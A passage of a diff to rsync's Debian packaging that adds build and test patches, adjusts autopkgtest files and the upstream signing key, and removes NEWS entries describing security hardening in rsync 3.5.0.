won.\n+ exit 0\ndiff --git a/debian/patches/fix_rrsync_man_generation.patch b/debian/patches/fix_rrsync_man_generation.patch\nindex 8ad35c4..7fd7dcf 100644\n--- a/debian/patches/fix_rrsync_man_generation.patch\n+++ b/debian/patches/fix_rrsync_man_generation.patch\n@@ -12,7 +12,7 @@ This patch needs to be reviewed before being submitted to upstream.\n  1 file changed, 2 insertions(+), 6 deletions(-)\n \n diff --git a/maybe-make-man b/maybe-make-man\n-index b751ebc..1888559 100755\n+index c7af739..d0b9660 100755\n --- a/maybe-make-man\n +++ b/maybe-make-man\n @@ -23,12 +23,8 @@ if [ ! -f \"$flagfile\" ]; then\ndiff --git a/debian/patches/gcc_15.patch b/debian/patches/gcc_15.patch\nnew file mode 100644\nindex 0000000..5637ab9\n--- /dev/null\n+++ b/debian/patches/gcc_15.patch\n@@ -0,0 +1,23 @@\n+From a4b926dcdce96b0f2cc0dc7744e95747b233500a Mon Sep 17 00:00:00 2001\n+From: Michal Ruprich <mruprich@redhat.com>\n+Date: Fri, 17 Jan 2025 12:37:57 +0100\n+Subject: [PATCH] bool is a keyword in C23\n+\n+---\n+ wildtest.c | 2 ++\n+ 1 file changed, 2 insertions(+)\n+\n+diff --git a/wildtest.c b/wildtest.c\n+index bea4cebbe..482cdf170 100644\n+--- a/wildtest.c\n++++ b/wildtest.c\n+@@ -32,7 +32,9 @@ int fnmatch_errors = 0;\n+ \n+ int wildmatch_errors = 0;\n+ \n++#if !defined(__STDC_VERSION__) || __STDC_VERSION__ < 202311L\n+ typedef char bool;\n++#endif\n+ \n+ int output_iterations = 0;\n+ int explode_mod = 0;\ndiff --git a/debian/patches/reproducible-build.patch b/debian/patches/reproducible-build.patch\nnew file mode 100644\nindex 0000000..1717bf5\n--- /dev/null\n+++ b/debian/patches/reproducible-build.patch\n@@ -0,0 +1,17 @@\n+Description: Make the build reproducible\n+Author: Chris Lamb <lamby@debian.org>\n+Last-Update: 2025-01-16\n+Forwarded: https://github.com/RsyncProject/rsync/pull/791\n+\n+--- rsync-3.3.0+ds1.orig/md-convert\n++++ rsync-3.3.0+ds1/md-convert\n+@@ -247,6 +247,9 @@ def find_man_substitutions():\n+ \n+     env_subs['date'] = time.strftime('%d %b %Y', time.gmtime(mtime + tz_offset)).lstrip('0')\n+ \n++    if 'SOURCE_DATE_EPOCH' in os.environ:\n++        env_subs['date'] = time.strftime('%d %b %Y', time.gmtime(int(os.environ.get('SOURCE_DATE_EPOCH', time.time()))))\n++\n+ \n+ def html_via_commonmark(txt):\n+     return commonmark.HtmlRenderer().render(commonmark.Parser().parse(txt))\ndiff --git a/debian/patches/series b/debian/patches/series\nindex a1d9428..d85b6c4 100644\n--- a/debian/patches/series\n+++ b/debian/patches/series\n@@ -1,3 +1,8 @@\n disable_reconfigure_req.diff\n+skip_devices_test_non_linux.patch\n env_shebang.patch\n fix_rrsync_man_generation.patch\n+fix-flaky-hardlinks-test.patch\n+reproducible-build.patch\n+gcc_15.patch\n+CVE-2025-10158.patch\ndiff --git a/debian/patches/skip_devices_test_non_linux.patch b/debian/patches/skip_devices_test_non_linux.patch\nnew file mode 100644\nindex 0000000..f70acb1\n--- /dev/null\n+++ b/debian/patches/skip_devices_test_non_linux.patch\n@@ -0,0 +1,61 @@\n+From: Samuel Henrique <samueloph@debian.org>\n+Date: Fri, 12 Apr 2024 00:11:07 +0100\n+Subject: Skip \"devices\" test as it fails on kfreebsd and hurd\n+\n+Error log:\n+ sent 160 bytes  received 117 bytes  554.00 bytes/sec\n+ total size is 0  speedup is 0.00\n+ check how the directory listings compare with diff:\n+\n+ + + /<<PKGBUILDDIR>>/rsynctee -aii /<<PKGBUILDDIR>>/testtmp/devices/rsync.out --link-dest=/<<PKGBUILDDIR>>/testtmp/devices/to\n+  /<<PKGBUILDDIR>>/testtmp/devices/from/ /<<PKGBUILDDIR>>/testtmp/devices/chk/\n+ rsync: failed to hard-link /<<PKGBUILDDIR>>/testtmp/devices/to/fifo with fifo: Invalid cross-device link (1073741842)\n+ cd          ./\n+ hD          block\n+ hD          block2\n+ hD          block3\n+ hD          block3.5\n+ hD          char\n+ hD          char2\n+ hD          char3\n+ cSc........ fifo\n+ rsync error: some files/attrs were not transferred (see previous errors) (code 23) at main.c(1207) [sender=3.1.3]\n+ + cat\n+ + diff -u /<<PKGBUILDDIR>>/testtmp/devices/rsync.chk /<<PKGBUILDDIR>>/testtmp/devices/rsync.out\n+ /--- /<<PKGBUILDDIR>>/testtmp/devices/rsync.chk\t2019-10-15 01:26:43.000000000 +0000\n+ /+++ /<<PKGBUILDDIR>>/testtmp/devices/rsync.out\t2019-10-15 01:26:43.000000000 +0000\n+ @@ -6,4 +6,4 @@\n+  hD          char\n+  hD          char2\n+  hD          char3\n+ -hS          fifo\n+ +cSc........ fifo\n+ + test_fail test 5 failed\n+ + echo test 5 failed\n+ test 5 failed\n+ + exit 1\n+ /bin/fakeauth: Error 1 for child 7541\n+ /bin/settrans: Error 1 for child 7540\n+ ----- devices log ends\n+ FAIL    devices\n+---\n+ testsuite/devices.test | 6 ++++++\n+ 1 file changed, 6 insertions(+)\n+\n+diff --git a/testsuite/devices.test b/testsuite/devices.test\n+index ad5f936..1fff93f 100644\n+--- a/testsuite/devices.test\n++++ b/testsuite/devices.test\n+@@ -9,6 +9,12 @@\n+ \n+ . \"$suitedir/rsync.fns\"\n+ \n++# Debian patch to skip this test as it fails on kfreebsd and hurd\n++case \"$HOST_OS\" in\n++    *linux*) ;;\n++    *) test_skipped \"Patched by Debian to skip as it fails on kfreebsd and hurd\" ;;\n++esac\n++\n+ # Build some hardlinks\n+ \n+ case $0 in\ndiff --git a/debian/rsync.NEWS b/debian/rsync.NEWS\nindex 8886f40..a395484 100644\n--- a/debian/rsync.NEWS\n+++ b/debian/rsync.NEWS\n@@ -1,97 +1,18 @@\n-rsync (3.5.0+ds1-3) unstable; urgency=medium\n+rsync (3.2.3-5) unstable; urgency=medium\n \n-  Three of the behaviours described under 3.5.0+ds1-1 have changed again,\n-  through patches carried in this package.\n+  The --copy-devices option has been reintroduced, it was previously removed in\n+  favor of the new one --write-devices, but it turns out they are not equivalent\n+  enough and upstream is providing the copy-devices patch on rsync-patches.\n \n-  The refusal to follow an untrusted symlink in an operator-supplied path\n-  now says why. Where it previously failed with nothing but \"Too many\n-  levels of symbolic links\", it now reports \"refusing to follow a symlink\n-  owned by an untrusted user\" and points at --insecure-links and the\n-  daemon's \"insecure links\" parameter. The rule itself is unchanged.\n+  Please beware that although the --copy-devices option is provided by\n+  upstream, it is not part of the official rsync package and it could be\n+  dropped or changed in ways that are not backwards compatible, though this would\n+  only happen between Debian releases.\n \n-  --max-alloc=0, and RSYNC_MAX_ALLOC=0, are accepted again. A zero no\n-  longer disables the per-allocation sanity cap: it now selects the largest\n-  limit the build supports, which is the same ceiling an explicit size is\n-  checked against. If you already replaced a zero with an explicit size,\n-  there is nothing to undo.\n+  That being said, we will not drop this option from the Debian packaging as\n+  long as upstream keeps providing the patch under rsync-patches.\n \n-  Filter and file lists supplied through shell process substitution, such\n-  as --exclude-from=<(grep -v '^#' rules), work again.\n-\n-  I am planning to drop these notices for 3.5.0+ds1-1 and 3.5.0+ds1-3\n-  before Debian 14 is released, as these same changes will be pushed to\n-  Debian 13. This is to avoid showing a notice for Debian 13 users who are\n-  upgrading to Debian 14 which have already seen it.\n-\n- -- Samuel Henrique <samueloph@debian.org>  Mon, 07 Sep 2026 21:13:20 -0700\n-\n-rsync (3.5.0+ds1-1) unstable; urgency=medium\n-\n-  rsync 3.5.0 is a large security release (33 CVEs) which also changes\n-  several long-standing behaviours. The ones most likely to break an\n-  existing setup are listed here; /usr/share/doc/rsync/NEWS.md.gz has the\n-  full list.\n-\n-  Operator-supplied paths are no longer followed through untrusted symlinks.\n-  The destination directory and the arguments to --backup-dir, --temp-dir,\n-  --partial-dir, --link-dest, --compare-dest, --copy-dest, --log-file,\n-  --password-file, --files-from, --include-from, --exclude-from,\n-  --write-batch, --read-batch and --filter merge files are now resolved one\n-  component at a time, following a symlink only when it is owned by root or\n-  by the user running rsync; one owned by anyone else is refused.\n-  --insecure-links restores the old behaviour, but it is local only and a\n-  daemon never honours it. For a single trusted module, set\n-  \"insecure links = yes\" in that module instead.\n-\n-  --max-alloc=0, and RSYNC_MAX_ALLOC=0, are now rejected with \"max-alloc\n-  must be greater than zero\". Zero used to mean SIZE_MAX, which disabled\n-  the per-allocation sanity cap, the defence behind CVE-2024-12084. Pass\n-  an explicit large value instead. See\n-  https://github.com/RsyncProject/rsync/issues/1056.\n-\n-  Filter and file lists supplied through shell process substitution (e.g.\n-  --exclude-from=<(grep -v '^#' rules)) now fail with \"No such file or\n-  directory\". The shell passes such an argument as /dev/fd/N, which refers\n-  to an anonymous pipe, and the new path resolver cannot open one; a /dev/fd\n-  path referring to a regular file is unaffected. This regression has no\n-  fix released yet; it is being worked on in\n-  https://github.com/RsyncProject/rsync/pull/1054. Write the list to a real\n-  file in the meantime. The notice about this issue will be dropped once it's\n-  fixed so that Stable users don't get notified of a fixed problem.\n-\n-  rrsync now refuses --debug on every invocation. When restricted to a\n-  subdirectory it additionally denies --copy-unsafe-links, passes the new\n-  --confine-root so the server will not resolve a client-named filter merge\n-  file outside that directory, and passes --drop-D when receiving, so an\n-  upload can no longer create devices or special files there (\"skipping\n-  non-regular file\"). A plain \"rsync -a\" otherwise still works.\n-\n-  --chmod=a+s now sets both the setuid and setgid bits, matching chmod(1);\n-  it previously set setuid alone.\n-\n-  rsyncd changes that can change who gets in:\n-   * \"proxy protocol = true\" without \"proxy protocol hosts\" now rejects\n-     every connection and warns at startup, instead of trusting a\n-     client-supplied PROXY header.\n-   * \"hosts deny\" now fails closed when a configured hostname cannot be\n-     resolved (with \"forward lookup\", the default), so a host previously\n-     admitted by an unresolvable deny entry is now blocked.\n-   * \"auth users\" values that start with a comma now split on commas alone,\n-     as documented, so a deny or :ro rule naming a group whose name contains\n-     a space now takes effect where it was silently ignored.\n-   * \"hosts allow\" / \"hosts deny\" patterns now fold case inside a [...]\n-     bracket expression as well, so a rule such as [A-Z]* matches hosts it\n-     used to miss.\n-   * A client-requested --compress-threads is capped at 8.\n-\n-  rsync-ssl now verifies the server certificate. The default openssl\n-  backend additionally binds it to the requested hostname, so a certificate\n-  valid for some other name is now rejected. The stunnel and gnutls\n-  backends refuse to run unless RSYNC_SSL_CA_CERT is set, or\n-  RSYNC_SSL_ALLOW_INSECURE_STUNNEL=1 / RSYNC_SSL_ALLOW_INSECURE_GNUTLS=1 is\n-  set to opt out.\n-\n- -- Samuel Henrique <samueloph@debian.org>  Sun, 16 Aug 2026 11:00:00 -0700\n+ -- Samuel Henrique <samueloph@debian.org>  Sun, 12 Sep 2021 17:25:37 +0100\n \n rsync (3.2.0-1) unstable; urgency=low\n \ndiff --git a/debian/rules b/debian/rules\nindex 04c2998..c2bfd07 100755\n--- a/debian/rules\n+++ b/debian/rules\n@@ -2,16 +2,6 @@\n \n export DEB_BUILD_MAINT_OPTIONS = hardening=+all\n \n-include /usr/share/dpkg/architecture.mk\n-\n-# aligned_overflow makes the sender walk a 2 GiB file byte by byte, which\n-# takes longer than the test's hard-coded 240s on the riscv64 buildds\n-# (#1153316).  The overflow it covers is not architecture-specific, so the\n-# test still runs everywhere else.  Keep in sync with d/tests/upstream-tests*.\n-ifeq ($(DEB_HOST_ARCH),riscv64)\n-export RSYNC_EXCLUDE = aligned_overflow\n-endif\n-\n %:\n \tdh $@\n \ndiff --git a/debian/tests/control b/debian/tests/control\nindex 3b5cb32..4fd2cf7 100644\n--- a/debian/tests/control\n+++ b/debian/tests/control\n@@ -1,17 +1,17 @@\n+Tests: local-tests\n+Depends: @, @builddeps@, build-essential, diffoscope, shunit2\n+\n+Tests: upstream-tests\n+Depends: @, @builddeps@, build-essential\n+\n Test-Command: rsync -h\n Features: test-name=rsync-help\n Restrictions: superficial\n \n-Tests: local-tests\n-Depends: @, @builddeps@, build-essential, diffoscope, shunit2\n-\n Tests: remote-tests\n-Depends: @, @builddeps@, build-essential, diffoscope, shunit2, openssh-client, openssh-server, adduser\n+Depends: @, @builddeps@, build-essential, diffoscope, shunit2, openssh-server, adduser\n Restrictions: needs-root, isolation-container\n \n-Tests: upstream-tests\n-Depends: @, @builddeps@, build-essential, fakeroot\n-\n Tests: upstream-tests-as-root\n Depends: @, @builddeps@, build-essential\n Restrictions: needs-root\ndiff --git a/debian/tests/local-tests b/debian/tests/local-tests\nindex ef4ef2b..29d8c63 100644\n--- a/debian/tests/local-tests\n+++ b/debian/tests/local-tests\n@@ -72,7 +72,7 @@ testMtimeSyncForFileIfTargetNewerUpdate(){\n \n     $RSYNC_BIN --times --update src \"$TARGET_DIR\"/target\n \n-    $DIFF_CMD --exclude-directory-metadata=no src target > /dev/null 2>&1\n+    $DIFF_CMD --exclude-directory-metadata=no src target 2>&1\n     status=$?\n     assertFalse 'Failed mtime sync for newer target with -u flag' $status\n }\n@@ -95,7 +95,7 @@ testChecksumFileComparison() {\n     touch -d \"@1750044444\" src.txt\n     $RSYNC_BIN src.txt \"$TARGET_DIR\"/target.txt\n \n-    $DIFF_CMD src.txt target.txt > /dev/null 2>&1\n+    $DIFF_CMD src.txt target.txt 2>&1\n     assertFalse \"Rsync unexpectedly synced file of same size and mtime\" \"$?\"\n \n     $RSYNC_BIN --checksum src.txt \"$TARGET_DIR\"/target.txt\ndiff --git a/debian/tests/upstream-tests b/debian/tests/upstream-tests\nindex b5aa21d..89d281d 100644\n--- a/debian/tests/upstream-tests\n+++ b/debian/tests/upstream-tests\n@@ -4,16 +4,8 @@ set -e\n echo \"debian/rules override_dh_auto_configure \"\n debian/rules override_dh_auto_configure\n \n-# Suppress gcc warnings (autopkgtest treats them as failures)\n-make check-progs 2>/dev/null\n-\n-# aligned_overflow takes longer than its 240s timeout on slow riscv64\n-# hardware (#1153316), see debian/rules\n-if [ \"$(dpkg --print-architecture)\" = riscv64 ]; then\n-    export RSYNC_EXCLUDE=aligned_overflow\n-fi\n+# Supress gcc warnings (autopkg treats them as failures)\n+make tls getgroups getfsdev trimslash t_unsafe wildtest testrun 2>/dev/null\n \n # Run tests\n-# installcheck \"does *not* depend on building or installing: you can\n-# use it to check a version installed from a binary\"\n-make installcheck\n+rsync_bin=\"/usr/bin/rsync\" ./runtests.sh\ndiff --git a/debian/upstream/signing-key.asc b/debian/upstream/signing-key.asc\nindex 633cf3f..c5d9f8b 100644\n--- a/debian/upstream/signing-key.asc\n+++ b/debian/upstream/signing-key.asc\n@@ -1,94 +1,65 @@\n -----BEGIN PGP PUBLIC KEY BLOCK-----\n+Comment: 9FEF 112D CE19 A0DC 7E88  2CB8 1BB2 4997 A853 5F6F\n \n-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\n-LhI=\n-=HsWt\n+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\n+b+5gyaf6HMK299rB81vMTkRGJcxz